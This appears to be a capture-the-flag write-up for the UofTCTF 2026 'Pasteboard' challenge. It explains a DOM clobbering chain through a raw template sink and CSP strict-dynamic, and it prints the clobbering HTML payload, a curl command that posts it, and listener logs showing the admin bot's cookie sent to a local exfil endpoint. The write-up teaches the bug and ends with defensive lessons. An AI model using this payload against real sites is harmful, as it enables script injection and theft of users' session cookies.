UofTCTF 2026 — Pasteboard Writeup

DOMPurify is fine — the bug is a raw server-side sink plus DOM clobbering: I hijack window.renderConfig to force a throw, then use window.errorReporter.path.value to load an arbitrary script under strict-dynamic and exfiltrate the bot's cookie.

4 min read
ibrahimsql
712 words

UofTCTF 2026 — Pasteboard

A note-sharing app and an admin bot. DOMPurify 3.3.1 is current, and the CSP writes nonce + strict-dynamic, so a classic <script> or onerror goes nowhere. The bug is not in the sanitizer: the server template injects the user body with |safe, and app.js trusts names on window. Together that is DOM clobbering → arbitrary script under strict-dynamic → the flag from the admin cookie.

Scope: local run only. No external system was touched.

1. Source review

view.html offers two sinks. One raw, one escaped:

<div id="injected">{{ msg|safe }}</div>
<template id="rawMsg">{{ msg|e }}</template>
<div id="card" data-mode="safe"></div>

CSP is script-src 'nonce-...' 'strict-dynamic' — inline script and inline handlers are dead, but default-src 'self', connect-src *, img-src 'self' data:.

app.js takes the escaped #rawMsg, runs it through DOMPurify, and writes it to #card; it never touches the raw #injected:

const raw = n ? n.textContent : "";            // rawMsg, escaped
const clean = DOMPurify.sanitize(raw, { ALLOW_DATA_ATTR: false });
card.innerHTML = clean;                          // single DOM write, sanitized

So the sanitizer side is correct: the #card sink is closed. The actual raw HTML enters the DOM through #injected — <script> will not run, but elements carrying id/name are bound to window as named properties. And app.js reads those globals on its error path:

JavaScript
} catch (err) {
  window.lastRenderError = String(err);
  handleError();
}
function handleError() {
  const c = window.errorReporter || { path: "/telemetry/error-reporter.js" };
  const p = c.path && c.path.value ? c.path.value : String(c.path || "/telemetry/error-reporter.js");
  const s = document.createElement("script");
  s.src = new URL(p).href;                        // arbitrary URL
  document.head.appendChild(s);
}

Two globals are controllable through two branches: window.renderConfig (the cfg.mode.toLowerCase() line) and window.errorReporter.path.value (s.src). Because of strict-dynamic, a <script> created by a trusted script (app.js, nonce'd) is itself trusted, so the host allowlist is skipped.

The chain: raw |safe sink → DOM clobbering → cfg.mode throws → catch → clobbered errorReporter.path.value → <script src=attacker> → exfil. DOMPurify is not defeated; it is simply never in the path.

2. Running it

The cookie carried by the bot has to be set (the archive bot.py defines a FLAG constant but never uses it; a real bot carries the flag in the cookie). I stand up the app and an exfil listener.

On macOS :5000 is held by AirPlay, so I ran the app on 127.0.0.1:5001. Same-origin only ties it to the /report endpoint; since I drive the bot directly, the flow is identical. The listener is on :8899, cookie domain 127.0.0.1.

Bash
# exfil listener (serves exfil.js, logs /leak calls)
python listener.py          # 127.0.0.1:8899
 
# app, unmodified source
python -c "import app; app.app.run(host='127.0.0.1', port=5001)"

The note body is the clobber payload:

<form id="errorReporter"><input name="path" value="http://127.0.0.1:8899/exfil.js"></form>
<div id="renderConfig"></div>
  • <div id="renderConfig"> → window.renderConfig is an element; .mode is undefined → cfg.mode.toLowerCase() throws.
  • <form id="errorReporter"><input name="path" …> → window.errorReporter.path.value is our URL (two-layer clobbering).
curl -s -D - -o /dev/null -X POST http://127.0.0.1:5001/note/new \
  --data-urlencode "title=dating" --data-urlencode "body=$BODY"
# Location: /note/872fff9dc87a40c1bf1e849b414c35d3

3. Bot and exfil

I drove the bot directly over CDP instead of Selenium (chromedriver version mismatch); it first sets the cookie, then opens the note:

cmd("Network.setCookie", {"name": "flag", "value": "uoftctf{fake_flag}", "url": ORIGIN + "/"})
cmd("Page.navigate", {"url": TARGET})

The moment the bot opens the note, the chain fires. The listener's real log:

GET /exfil.js
GET /leak?cookie=flag%3Duoftctf%7Bfake_flag%7D&path=%2Fnote%2F872fff9dc87a40c1bf1e849b414c35d3
GET /leak?probe=executed&cookie=flag%3Duoftctf%7Bfake_flag%7D

GET /exfil.js → strict-dynamic executed the arbitrary script. Two fetch('/leak?…') calls then carried the bot's cookie. URL-decoded:

flag=uoftctf{fake_flag}

document.cookie shows the same thing on the page: flag=uoftctf{fake_flag}.

4. Flag and lessons

uoftctf{fake_flag}

The archive bot.py carries this constant; a real event generates a different one per instance. What is demonstrated is the chain itself.

Lesson: using the sanitizer correctly is not enough. If a second sink on the same page prints user HTML with |safe, then even without <script> executing, taking over window globals via id/name is sufficient. Deriving "config" objects like window.renderConfig and window.errorReporter from the DOM, combined with strict-dynamic, turns into full XSS. Do not print user HTML raw; read config from somewhere safe to parse like a data- attribute rather than from the DOM namespace; and never derive the src of a nonce'd script under strict-dynamic from user input.

---
Share this post:

What do you think?

React to show your appreciation

Related Posts